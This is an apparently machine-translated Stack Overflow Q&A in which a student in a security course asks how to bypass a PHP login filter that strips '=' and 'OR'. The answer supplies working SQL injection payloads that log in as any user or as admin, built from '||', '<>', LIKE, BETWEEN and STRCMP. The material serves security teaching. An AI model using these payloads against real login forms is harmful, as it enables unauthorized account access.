php - 使用 php 过滤进行 SQL 注入(inject)

标签 php mysql sql sql-injection input-filtering

我必须注入(inject)一个登录表单来练习计算机安全类(class)...... 我已经使用简单的方法通过了第一级

' like 1=1--

在密码字段中,但现在在第二级,我必须使用相同的源代码再次注入(inject)相同的登录表单,除了用户和 pwd 由名为 lvl2_filter() 的函数控制这一事实,我认为这是是filters.php的一部分,不接受“=”和“OR”

我该怎么做???

用户名和密码字段不能为空

include_once 'filters.php';
include_once 'config.php';
?>

<?php
$user = lvl2_filter($_REQUEST['user']);
$pwd = lvl2_filter($_REQUEST['pwd']);
$token = $_COOKIE["token_sqli2"];

if (empty($token) || !check_token($token)){
echo "<h1>You need to be logged in!</h1><br>";
}

if (!empty($user) && !empty($pwd)) {
$query = "SELECT user_id FROM users WHERE username='$user' and password='$pwd'";
$result = mysqli_query($db,$query);
if ($result && mysqli_num_rows($result)>0) { 
  echo "Hi $user, you are logged in.";
  verify_user($token, $user);
}
else echo "sorry, invalid username or password"; 
}
else { ?>

最佳答案

假设this definition of lvl2_filter ,这基本上删除了 = 的任何出现。和or直到不再找到为止,应该仍然可以使用 logical OR operation||而不是OR以及一个计算结果为 true 的简单表达式,例如:

username: dummy
password: ' || '1

这将导致:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

要选择特定用户,可以使用 rules of boolean algebra ,其中x=y =!(x!=y) :

username: dummy
password: ' || NOT(username<>'admin') AND '1

这将导致:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

这里<>相当于 !=但不包含= .

还可以使用其他操作来确保用户名等于 admin :

  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
  • ...

关于php - 使用 php 过滤进行 SQL 注入(inject),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/23626697/

相关文章:

php - 如何在php中的字符串中找到多个子字符串

php - 当我将代码移动到另一台服务器时,mysql_real_escape_string 停止工作

php - 将日期时间输出更改为今天并中断时间

mysql - 我应该对多个操作使用单个过程,还是将它们拆分为多个过程?

sql - HSTMT、UCHAR、SDWORD在ODBC日志中的含义

SQL,搜索和替换列中的特定字符(切换 "Z"和 "Y")?

php - SQL 更新停止工作?

php - 在php中不使用ajax上传图像时的进度条

Sql Server 系统进程查询

php表单不将表单数据写入mysql数据库